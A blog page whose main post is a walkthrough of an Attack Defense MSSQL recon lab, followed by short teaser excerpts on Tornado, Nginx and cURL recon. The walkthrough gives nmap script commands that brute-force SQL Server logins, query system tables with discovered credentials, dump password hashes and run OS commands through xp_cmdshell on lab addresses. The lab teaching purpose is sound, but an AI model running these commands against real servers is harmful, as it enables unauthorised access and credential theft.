Skip to main content

Tornado Webserver Recon Basics

 Tornado Web Server Recon Basics    Tornado is a python web server framework developed by FriendFeed . It can can scale to tens of thousands of open connections, making it ideal for long polling , WebSockets , and other applications that require a long-lived connection to each user. So this means it's an highly performant and companies like Facebook with scaling SaaS projects uses it for serving clients' needs. The labs I would be discussing in this post are provided by Attack Defense: Tornado Recon: Basics Tornado: Basic Authentication Tornado: Digest Authentication So let's begin Tornado Recon: Basics In this lab my ip is 192.96.75.3 Which web server software is running on the target server? Also find out the version. Use nmap. Execute the command by replacing <IP> with the one you have been assigned with nmap -sS -sV <IP> It is serving Tornado server on port 80 and version of the server is 5.1.1 What content is returned when a query is made to the base dir

MSSQL Recon Using Nmap Scripts

 MSSQL Recon Using Nmap Scripts

You can find this lab here – https://attackdefense.com/challengedetails?cid=2313

First of all, on what port MS-SQL is running. This can be done by simple Nmap command with -sV and --top-ports 65535.

Scanning the entire port range is useful because for security reasons infra teams change the default ports

nmap -sV --top-ports 65535 10.4.16.254

Well in this case it running on default port 1433.

Q1. Gather information from the MS-SQL server with NTLM.

There are two modules to get information about the ms-sql server: ms-sql-info and ms-sql-ntlm-info

Since the question it is explicitly asked for NTLM, the second script will be used here. Feel free to read about them:

I found one juicy piece of information about the server, the version number. Once running query you can use this to search for specific exploits (if available):

Let's use normal script, just being curious what information this will give:

nmap 10.4.16.254 -p1433 --script ms-sql-ntlm-info

Well in this we found that it actually running Windows SQL Server 2019.

The script with NTLM provides information about authentication and domain, but default info provides information for the database itself.

Q2. Enumerate all valid MSSQL users and passwords

You know what, Nmap is really awesome when it comes to script support. There is a script for brute-forcing user login: ms-sql-brute.

Another cool thing about Nmap is that these scripts aren't hardcoded. You can pass --script-args

nmap 10.4.16.254 -p1433 --script ms-sql-brute --script-args userdb=/root/Desktop/wordlist/common_users.txt,passdb=/root/Desktop/wordlist/100-common-passwords.txt

Q3. Identify 'sa' user password

While actually searching for exploits of ms-sql server, I got to know from CVE-2000-1209 that the sa user exists with null password. In terms of DB, it is known as an empty password

Well, Nmap provides a script for finding such users: ms-sql-empty-password

NOTE: The lab broke somehow and I had to relaunch it. From now, the IP would be different

nmap -p1433 10.4.25.148 --script ms-sql-empty-password

Q4. Execute MSSQL query to extract sys users

All the information about sys users is stored in master.syslogins table. You know the login credentials and the table. All you need is an interface to execute the query.

For this, you need to use the ms-sql-query script

nmap -p1433 10.4.25.148 --script ms-sql-query --script-args mssql.username=admin,mssql.password=anamaria,mssql.database=master,ms-sql-query.query="select * from syslogins" -oN output.txt

Since the table dump would be long enough, it is recommended to store it in a file and then look for information rather than calling script everything you perform some actions on the output

Using -oN <filename> will save the Nmap format to file

Q5. Dump MSSQL users hashes

In case you don't have any wordlist to find passwords, you can also dump the hashes of the user password and brute-force it using john-the-ripper or hashcat. The suitable script for this would be ms-sql-dump-hashes

Note: You need one user to authenticate

nmap -p1433 10.4.25.148 --script ms-sql-dump-hashes --script-args mssql.password=anamaria,mssql.username=admin

Q6. Execute a command on MSSQL to retrieve the flag.

The flag is located inside C:\flag.txt and you don't have any reverse shell or access to the target to get the contents of the file. This can be done with the xp_cmdshell feature of MS-SQL that lets authenticated user execute the command. In Nmap, it can be done with ms-sql-xp-cmdshell script

Note: It will be also possible to execute the commands if it's enabled by the sysadmin in mssql

nmap -p1433 10.4.25.148 --script ms-sql-xp-cmdshell --script-args mssql.password=anamaria,mssql.username=admin,ms-sql-xp-cmdshell.cmd="type c:\\flag.txt"

Read more about xp_cmdshell: https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/xp-cmdshell-transact-sql?view=sql-server-ver15

 

Popular posts from this blog

Nginx Recon Basics

 Nginx Recon Basics   You can find this Lab here    Nginx is a web server like Apache, its a multipurpose opensource server mainly used for serving cached contents, load balancers or reverse proxy. Like Apache, it can also serve PHP or static contents. So, why Nginx if you have apache? Well, Nginx performs better than Apache in some scenarios and many big companies are using it to serve their clients. Here are few of them https://www.nginx.com/resources/wiki/community/why_use_it/ You get the idea why Nginx is so important now, so let's dive into this Let the Recon Begin In my case the ip is 192.14.197.3 . You can find the ip by running `ifconfig` and the change the last part from 2 to 3 eth1 interface Not asked but, What is version of nginx version running? Using nmap tool to find the version nmap -sS -sV 192.14.197.3 It is running nginx v1.15.4 What are the authentication types being used for /Admin and /Administrator folder? Using authentication recon tip from previou

Using cURL For Recon!

   Using cURL For Recon! (client URL) is a command-line tool and library which primarily supports HTTP along with many other protocols. This makes it a good candidate for scripts as well as automation. The tool takes in at least one argument, i.e., the resource to fetch. GET Request The default HTTP requests made by cURL are GET requests. Let's try requesting the page from the GET section. cURL - GET Request cURL - GET Request $ curl http://inlanefreight.com/ <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>401 Unauthorized</title> </head><body> <h1>Unauthorized</h1> <p>This server could not verify that you are authorized to access the document  requested.</p>   <hr> <address>Apache/2.4.41 (Ubuntu) Server at inlanefreight.com Port 80</address&g